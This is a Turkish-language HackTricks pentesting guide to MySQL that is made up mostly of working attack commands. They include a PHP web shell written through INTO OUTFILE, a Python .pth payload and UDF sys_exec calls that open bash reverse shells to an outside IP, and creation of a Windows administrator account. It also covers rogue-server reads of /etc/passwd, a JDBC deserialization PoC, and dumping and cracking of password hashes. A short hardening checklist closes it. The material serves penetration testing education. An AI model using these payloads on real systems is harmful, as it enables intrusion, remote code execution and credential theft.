26 KiB
Raw Blame History

3306 - Pentesting Mysql

{{#include ../banners/hacktricks-training.md}}

Temel Bilgiler

MySQL, ücretsiz olarak sunulan açık kaynaklı bir İlişkisel Veritabanı Yönetim Sistemi (RDBMS) olarak tanımlanabilir. Yapılandırılmış Sorgu Dili (SQL) üzerinde çalışarak veritabanlarının yönetimini ve manipülasyonunu sağlar.

Varsayılan port: 3306

3306/tcp open  mysql

Bağlan

Yerel

mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)

Uzaktan

mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost

Dış Enumere Etme

Bazı enumere etme eylemleri geçerli kimlik bilgileri gerektirir.

nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds
msf> use auxiliary/admin/mysql/mysql_enum #Creds
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds

Brute force

Herhangi bir ikili veri yazın

CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)

MySQL komutları

show databases;
use <database>;
connect <database>;
show tables;
describe <table_name>;
show columns from <table>;

select version(); #version
select @@version(); #version
select user(); #User
select database(); #database name

#Get a shell with the mysql client user
\! sh

#Basic MySQLi
Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables
Union Select 1,2,3,4,column_name from information_schema.columns where table_name="<TABLE NAME>"

#Read & Write
## Yo need FILE privilege to read & write to files.
select load_file('/var/lib/mysql-files/key.txt'); #Read file
select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'

#Try to change MySQL root password
UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';
FLUSH PRIVILEGES;
quit;
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
mysql -u root -h 127.0.0.1 -e 'show databases;'

MySQL İzinlerinin Sayımı

#Mysql
SHOW GRANTS [FOR user];
SHOW GRANTS;
SHOW GRANTS FOR 'root'@'localhost';
SHOW GRANTS FOR CURRENT_USER();

# Get users, permissions & hashes
SELECT * FROM mysql.user;

#From DB
select * from mysql.user where user='root';
## Get users with file_priv
select user,file_priv from mysql.user where file_priv='Y';
## Get users with Super_priv
select user,Super_priv from mysql.user where Super_priv='Y';

# List functions
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION';
#@ Functions not from sys. db
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';

You can see in the docs the meaning of each privilege: https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html

MySQL Dosya RCE

{{#ref}} ../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md {{#endref}}

INTO OUTFILE → Python .pth RCE (site-specific configuration hooks)

Klasik INTO OUTFILE ilkesini kötüye kullanarak, daha sonra Python betikleri çalıştıran hedeflerde keyfi kod yürütme elde etmek mümkündür.

  1. INTO OUTFILE kullanarak, site.py tarafından otomatik olarak yüklenen herhangi bir dizine özel bir .pth dosyası bırakın (örneğin .../lib/python3.10/site-packages/).
  2. .pth dosyası, her seferinde yorumlayıcı başlatıldığında yürütülecek keyfi Python kodu ile import ile başlayan tek bir satır içerebilir.
  3. Yorumlayıcı, bir CGI betiği tarafından örtük olarak çalıştırıldığında (örneğin /cgi-bin/ml-draw.py shebang ile #!/bin/python) yük, web sunucusu süreci ile aynı ayrıcalıklarla yürütülür (FortiWeb bunu root olarak çalıştırdı → tam ön kimlik doğrulama RCE).

Örnek .pth yükü (tek satır, son SQL yüküne boşluk eklenemez, bu nedenle hex/UNHEX() veya dize birleştirme gerekebilir):

import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)

Bir UNION sorgusu aracılığıyla dosyanın oluşturulmasına örnek (boşluk karakterleri, toplam uzunluğu ≤128 bayt tutmak için sscanf("%128s") boşluk filtresini aşmak amacıyla /**/ ile değiştirilmiştir):

'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'

Önemli sınırlamalar ve bypass'ler:

  • INTO OUTFILE mevcut dosyaları üzerine yazamaz; yeni bir dosya adı seçin.
  • Dosya yolu MySQLin CWD'sine göre çözülür, bu nedenle ../../ ile ön eklemek yolu kısaltmaya ve mutlak yol kısıtlamalarını aşmaya yardımcı olur.
  • Saldırgan girişi %128s (veya benzeri) ile çıkarıldığında, herhangi bir boşluk yükü keser; boşlukları değiştirmek için MySQL yorum dizilerini /**/ veya /*!*/ kullanın.
  • Sorguyu çalıştıran MySQL kullanıcısının FILE ayrıcalığına ihtiyacı vardır, ancak birçok cihazda (örneğin, FortiWeb) hizmet root olarak çalışır ve hemen hemen her yerde yazma erişimi sağlar.

.pth dosyasını bıraktıktan sonra, kod yürütmek için python yorumlayıcısı tarafından işlenen herhangi bir CGI'yi talep edin:

GET /cgi-bin/ml-draw.py HTTP/1.1
Host: <target>

Python süreci, kötü niyetli .pth dosyasını otomatik olarak içe aktaracak ve shell yükünü çalıştıracaktır.

# Attacker
$ nc -lvnp 4444
id
uid=0(root) gid=0(root) groups=0(root)

MySQL istemcisi tarafından rastgele dosya okuma

Aslında, bir tabloya yerel veri yüklemeye çalıştığınızda, MySQL veya MariaDB sunucusu istemciden dosyayı okumasını ve içeriği göndermesini ister. Sonra, eğer bir mysql istemcisini kendi MySQL sunucunuza bağlanacak şekilde değiştirebilirseniz, rastgele dosyaları okuyabilirsiniz.
Lütfen bunun şu şekilde bir davranış olduğunu unutmayın:

load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

("local" kelimesine dikkat edin)
Çünkü "local" olmadan şunları alabilirsiniz:

mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

Başlangıç PoC: https://github.com/allyshka/Rogue-MySql-Server
Bu belgede saldırının tam tanımını ve hatta RCE'ye nasıl genişletileceğini görebilirsiniz: https://paper.seebug.org/1113/
Saldırıya genel bir bakış bulabilirsiniz: http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/

POST

Mysql Kullanıcısı

Mysql'in root olarak çalışması çok ilginç olacaktır:

cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1

mysqld.cnf'nin Tehlikeli Ayarları

MySQL hizmetlerinin yapılandırmasında, işletim ve güvenlik önlemlerini tanımlamak için çeşitli ayarlar kullanılmaktadır:

  • user ayarı, MySQL hizmetinin çalıştırılacağı kullanıcıyı belirlemek için kullanılır.
  • password MySQL kullanıcısına bağlı olan şifreyi belirlemek için uygulanır.
  • admin_address, yönetim ağ arayüzünde TCP/IP bağlantılarını dinleyen IP adresini belirtir.
  • debug değişkeni, günlüklerde hassas bilgileri içeren mevcut hata ayıklama yapılandırmalarını gösterir.
  • sql_warnings, uyarılar ortaya çıktığında tek satırlık INSERT ifadeleri için bilgi dizelerinin üretilip üretilmeyeceğini yönetir ve günlüklerde hassas veriler içerebilir.
  • secure_file_priv ile veri içe ve dışa aktarma işlemlerinin kapsamı güvenliği artırmak için kısıtlanır.

Yetki Yükseltme

# Get current user (an all users) privileges and hashes
use mysql;
select user();
select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user;

# Get users, permissions & creds
SELECT * FROM mysql.user;
mysql -u root --password=<PASSWORD> -e "SELECT * FROM mysql.user;"

# Create user and give privileges
create user test identified by 'test';
grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;

# Get a shell (with your permissions, usefull for sudo/suid privesc)
\! sh

Yetki Yükseltme Kütüphanesi Üzerinden

Eğer mysql sunucusu root olarak çalışıyorsa (veya daha ayrıcalıklı bir kullanıcı olarak) komutları çalıştırmasını sağlayabilirsiniz. Bunun için kullanıcı tanımlı fonksiyonlar kullanmanız gerekecek. Ve bir kullanıcı tanımlı fonksiyon oluşturmak için mysql'ün çalıştığı kütüphaneye ihtiyacınız olacak.

Kullanılacak kötü niyetli kütüphane sqlmap içinde ve metasploit içinde locate "*lib_mysqludf_sys*" komutunu çalıştırarak bulunabilir. .so dosyaları linux kütüphaneleridir ve .dll dosyaları Windows kütüphaneleridir, ihtiyacınız olanı seçin.

Eğer bu kütüphanelere sahip değilseniz, ya onları arayabilir ya da bu linux C kodunu indirip linux zafiyetli makine içinde derleyebilirsiniz:

gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

Artık kütüphaneniz olduğuna göre, Mysql'e ayrıcalıklı bir kullanıcı (root?) olarak giriş yapın ve sonraki adımları izleyin:

Linux

# Use a database
use mysql;
# Create a table to load the library and move it to the plugins dir
create table npn(line blob);
# Load the binary library inside the table
## You might need to change the path and file name
insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
# Get the plugin_dir path
show variables like '%plugin%';
# Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/
# dump in there the library
select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
# Create a function to execute commands
create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
# Execute commands
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');

Windows

# CHech the linux comments for more indications
USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn values(load_file('C://temp//lib_mysqludf_sys.dll'));
show variables like '%plugin%';
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");

MySQL kimlik bilgilerini dosyalardan çıkarma

/etc/mysql/debian.cnf içinde düz metin şifresi olan debian-sys-maint kullanıcısını bulabilirsiniz.

cat /etc/mysql/debian.cnf

Bu kimlik bilgilerini mysql veritabanına giriş yapmak için kullanabilirsiniz.

Dosyanın içinde: /var/lib/mysql/mysql/user.MYD MySQL kullanıcılarının tüm hash'lerini (veritabanındaki mysql.user'dan çıkarabileceğiniz) bulabilirsiniz_._

Bunları çıkarmak için:

grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"

Günlüğü etkinleştirme

MySQL sorgularının günlüğünü /etc/mysql/my.cnf dosyasında aşağıdaki satırları yorumdan çıkararak etkinleştirebilirsiniz:

Kullanışlı dosyalar

Yapılandırma Dosyaları

  • windows *
  • config.ini
  • my.ini
  • windows\my.ini
  • winnt\my.ini
  • <InstDir>/mysql/data/
  • unix
  • my.cnf
  • /etc/my.cnf
  • /etc/mysql/my.cnf
  • /var/lib/mysql/my.cnf
  • ~/.my.cnf
  • /etc/my.cnf
  • Komut Geçmişi
  • ~/.mysql.history
  • Günlük Dosyaları
  • connections.log
  • update.log
  • common.log

Varsayılan MySQL Veritabanı/Tabloları

{{#tabs}} {{#tab name="information_schema"}} ALL_PLUGINS
APPLICABLE_ROLES
CHARACTER_SETS
CHECK_CONSTRAINTS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
ENABLED_ROLES
ENGINES
EVENTS
FILES
GLOBAL_STATUS
GLOBAL_VARIABLES
KEY_COLUMN_USAGE
KEY_CACHES
OPTIMIZER_TRACE
PARAMETERS
PARTITIONS
PLUGINS
PROCESSLIST
PROFILING
REFERENTIAL_CONSTRAINTS
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
SESSION_STATUS
SESSION_VARIABLES
STATISTICS
SYSTEM_VARIABLES
TABLES
TABLESPACES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
INNODB_LOCKS
INNODB_TRX
INNODB_SYS_DATAFILES
INNODB_FT_CONFIG
INNODB_SYS_VIRTUAL
INNODB_CMP
INNODB_FT_BEING_DELETED
INNODB_CMP_RESET
INNODB_CMP_PER_INDEX
INNODB_CMPMEM_RESET
INNODB_FT_DELETED
INNODB_BUFFER_PAGE_LRU
INNODB_LOCK_WAITS
INNODB_TEMP_TABLE_INFO
INNODB_SYS_INDEXES
INNODB_SYS_TABLES
INNODB_SYS_FIELDS
INNODB_CMP_PER_INDEX_RESET
INNODB_BUFFER_PAGE
INNODB_FT_DEFAULT_STOPWORD
INNODB_FT_INDEX_TABLE
INNODB_FT_INDEX_CACHE
INNODB_SYS_TABLESPACES
INNODB_METRICS
INNODB_SYS_FOREIGN_COLS
INNODB_CMPMEM
INNODB_BUFFER_POOL_STATS
INNODB_SYS_COLUMNS
INNODB_SYS_FOREIGN
INNODB_SYS_TABLESTATS
GEOMETRY_COLUMNS
SPATIAL_REF_SYS
CLIENT_STATISTICS
INDEX_STATISTICS
USER_STATISTICS
INNODB_MUTEXES
TABLE_STATISTICS
INNODB_TABLESPACES_ENCRYPTION
user_variables
INNODB_TABLESPACES_SCRUBBING
INNODB_SYS_SEMAPHORE_WAITS {{#endtab}}

{{#tab name="mysql"}} columns_priv
column_stats
db
engine_cost
event
func
general_log
gtid_executed
gtid_slave_pos
help_category
help_keyword
help_relation
help_topic
host
index_stats
innodb_index_stats
innodb_table_stats
ndb_binlog_index
plugin
proc
procs_priv
proxies_priv
roles_mapping
server_cost
servers
slave_master_info
slave_relay_log_info
slave_worker_info
slow_log
tables_priv
table_stats
time_zone
time_zone_leap_second
time_zone_name
time_zone_transition
time_zone_transition_type
transaction_registry
user {{#endtab}}

{{#tab name="performance_schema"}} accounts
cond_instances
events_stages_current
events_stages_history
events_stages_history_long
events_stages_summary_by_account_by_event_name
events_stages_summary_by_host_by_event_name
events_stages_summary_by_thread_by_event_name
events_stages_summary_by_user_by_event_name
events_stages_summary_global_by_event_name
events_statements_current
events_statements_history
events_statements_history_long
events_statements_summary_by_account_by_event_name
events_statements_summary_by_digest
events_statements_summary_by_host_by_event_name
events_statements_summary_by_program
events_statements_summary_by_thread_by_event_name
events_statements_summary_by_user_by_event_name
events_statements_summary_global_by_event_name
events_transactions_current
events_transactions_history
events_transactions_history_long
events_transactions_summary_by_account_by_event_name
events_transactions_summary_by_host_by_event_name
events_transactions_summary_by_thread_by_event_name
events_transactions_summary_by_user_by_event_name
events_transactions_summary_global_by_event_name
events_waits_current
events_waits_history
events_waits_history_long
events_waits_summary_by_account_by_event_name
events_waits_summary_by_host_by_event_name
events_waits_summary_by_instance
events_waits_summary_by_thread_by_event_name
events_waits_summary_by_user_by_event_name
events_waits_summary_global_by_event_name
file_instances
file_summary_by_event_name
file_summary_by_instance
global_status
global_variables
host_cache
hosts
memory_summary_by_account_by_event_name
memory_summary_by_host_by_event_name
memory_summary_by_thread_by_event_name
memory_summary_by_user_by_event_name
memory_summary_global_by_event_name
metadata_locks
mutex_instances
objects_summary_global_by_type
performance_timers
prepared_statements_instances
replication_applier_configuration
replication_applier_status
replication_applier_status_by_coordinator
replication_applier_status_by_worker
replication_connection_configuration
replication_connection_status
replication_group_member_stats
replication_group_members
rwlock_instances
session_account_connect_attrs
session_connect_attrs
session_status
session_variables
setup_actors
setup_consumers
setup_instruments
setup_objects
setup_timers
socket_instances
socket_summary_by_event_name
socket_summary_by_instance
status_by_account
status_by_host
status_by_thread
status_by_user
table_handles
table_io_waits_summary_by_index_usage
table_io_waits_summary_by_table
table_lock_waits_summary_by_table
threads
user_variables_by_thread
users
variables_by_thread {{#endtab}}

{{#tab name="sys"}} host_summary
host_summary_by_file_io
host_summary_by_file_io_type
host_summary_by_stages
host_summary_by_statement_latency
host_summary_by_statement_type
innodb_buffer_stats_by_schema
innodb_buffer_stats_by_table
innodb_lock_waits
io_by_thread_by_latency
io_global_by_file_by_bytes
io_global_by_file_by_latency
io_global_by_wait_by_bytes
io_global_by_wait_by_latency
latest_file_io
memory_by_host_by_current_bytes
memory_by_thread_by_current_bytes
memory_by_user_by_current_bytes
memory_global_by_current_bytes
memory_global_total
metrics
processlist
ps_check_lost_instrumentation
schema_auto_increment_columns
schema_index_statistics
schema_object_overview
schema_redundant_indexes
schema_table_lock_waits
schema_table_statistics
schema_table_statistics_with_buffer
schema_tables_with_full_table_scans
schema_unused_indexes
session
session_ssl_status
statement_analysis
statements_with_errors_or_warnings
statements_with_full_table_scans
statements_with_runtimes_in_95th_percentile
statements_with_sorting
statements_with_temp_tables
sys_config
user_summary
user_summary_by_file_io
user_summary_by_file_io_type
user_summary_by_stages
user_summary_by_statement_latency
user_summary_by_statement_type
version
wait_classes_global_by_avg_latency
wait_classes_global_by_latency
waits_by_host_by_latency
waits_by_user_by_latency
waits_global_by_latency
x$host_summary
x$host_summary_by_file_io
x$host_summary_by_file_io_type
x$host_summary_by_stages
x$host_summary_by_statement_latency
x$host_summary_by_statement_type
x$innodb_buffer_stats_by_schema
x$innodb_buffer_stats_by_table
x$innodb_lock_waits
x$io_by_thread_by_latency
x$io_global_by_file_by_bytes
x$io_global_by_file_by_latency
x$io_global_by_wait_by_bytes
x$io_global_by_wait_by_latency
x$latest_file_io
x$memory_by_host_by_current_bytes
x$memory_by_thread_by_current_bytes
x$memory_by_user_by_current_bytes
x$memory_global_by_current_bytes
x$memory_global_total
x$processlist
x$ps_digest_95th_percentile_by_avg_us
x$ps_digest_avg_latency_distribution
x$ps_schema_table_statistics_io
x$schema_flattened_keys
x$schema_index_statistics
x$schema_table_lock_waits
x$schema_table_statistics
x$schema_table_statistics_with_buffer
x$schema_tables_with_full_table_scans
x$session
x$statement_analysis
x$statements_with_errors_or_warnings
x$statements_with_full_table_scans
x$statements_with_runtimes_in_95th_percentile
x$statements_with_sorting
x$statements_with_temp_tables
x$user_summary
x$user_summary_by_file_io
x$user_summary_by_file_io_type
x$user_summary_by_stages
x$user_summary_by_statement_latency
x$user_summary_by_statement_type
x$wait_classes_global_by_avg_latency
x$wait_classes_global_by_latency
x$waits_by_host_by_latency
x$waits_by_user_by_latency
x$waits_global_by_latency {{#endtab}} {{#endtabs}}

HackTricks Otomatik Komutlar

Protocol_Name: MySql    #Protocol Abbreviation if there is one.
Port_Number:  3306     #Comma separated if there is more than one.
Protocol_Description: MySql     #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for MySql
Note: |
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mysql.html

Entry_2:
Name: Nmap
Description: Nmap with MySql Scripts
Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306

Entry_3:
Name: MySql
Description: Attempt to connect to mysql server
Command: mysql -h {IP} -u {Username}@localhost

Entry_4:
Name: MySql consolesless mfs enumeration
Description: MySql enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'

2023-2025 Öne Çıkanlar (yeni)

JDBC propertiesTransform deserialization (CVE-2023-21971)

Connector/J <= 8.0.32'den itibaren, JDBC URL'sini etkileyebilen bir saldırgan (örneğin, bir bağlantı dizesi isteyen üçüncü taraf yazılımlarda) propertiesTransform parametresi aracılığıyla istemci tarafında rastgele sınıfların yüklenmesini talep edebilir. Sınıf yolunda mevcut olan bir gadget yüklenebilir ise, bu JDBC istemcisi bağlamında uzaktan kod yürütmeye yol açar (ön kimlik doğrulama, çünkü geçerli kimlik bilgileri gerekmemektedir). Minimal bir PoC şöyle görünür:

jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil

Evil.class dosyasını çalıştırmak, savunmasız uygulamanın sınıf yoluna yerleştirmek veya kötü niyetli bir MySQL sunucusunun zararlı bir serileştirilmiş nesne göndermesine izin vermek kadar kolay olabilir. Sorun, Connector/J 8.0.33'te düzeltildi - sürücüyü güncelleyin veya propertiesTransform'u bir izin listesine açıkça ayarlayın.
(Bilgiler için Snyk yazısına bakın)

JDBC istemcilerine karşı sahte / kötü niyetli MySQL sunucu saldırıları

Birçok açık kaynak aracı, dışa bağlantı kuran JDBC istemcilerine saldırmak için kısmi bir MySQL protokolü uygular:

  • mysql-fake-server (Java, dosya okuma ve serileştirme istismarlarını destekler)
  • rogue_mysql_server (Python, benzer yetenekler)

Tipik saldırı yolları:

  1. Kurban uygulaması allowLoadLocalInfile=true veya autoDeserialize=true ile mysql-connector-j'yi yükler.
  2. Saldırgan, DNS / ana makine girişini kontrol eder, böylece DB'nin ana adı kendi kontrolündeki bir makineye çözülür.
  3. Kötü niyetli sunucu, LOCAL INFILE rastgele dosya okuma veya Java serileştirmesi → RCE'yi tetikleyen özel paketlerle yanıt verir.

Sahte bir sunucuyu başlatmak için bir örnek tek satırlık komut (Java):

java -jar fake-mysql-cli.jar -p 3306  # from 4ra1n/mysql-fake-server

Sonra kurban uygulamasını jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true adresine yönlendirin ve dosya adını kullanıcı adı alanında base64 olarak kodlayarak /etc/passwd dosyasını okuyun (fileread_/etc/passwdbase64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=).

caching_sha2_password hash'lerini kırma

MySQL ≥ 8.0, şifre hash'lerini $mysql-sha2$ (SHA-256) olarak saklar. Hem Hashcat (mod 21100) hem de John-the-Ripper (--format=mysql-sha2), 2023'ten itibaren çevrimdışı kırmayı desteklemektedir. authentication_string sütununu dökün ve doğrudan besleyin:

# extract hashes
echo "$mysql-sha2$AABBCC…" > hashes.txt
# Hashcat
hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
# John the Ripper
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist

Güçlendirme kontrol listesi (2025)

• Çoğu dosya-okuma/yazma ilkesini devre dışı bırakmak için LOCAL_INFILE=0 ve --secure-file-priv=/var/empty ayarlarını yapın.
• Uygulama hesaplarından FILE ayrıcalığını kaldırın.
• Connector/J üzerinde allowLoadLocalInfile=false, allowUrlInLocalInfile=false, autoDeserialize=false, propertiesTransform= (boş) ayarlarını yapın.
• Kullanılmayan kimlik doğrulama eklentilerini devre dışı bırakın ve TLS gerektir (require_secure_transport = ON).
CREATE FUNCTION, INSTALL COMPONENT, INTO OUTFILE, LOAD DATA LOCAL ve ani SET GLOBAL ifadelerini izleyin.


Referanslar

{{#include ../banners/hacktricks-training.md}}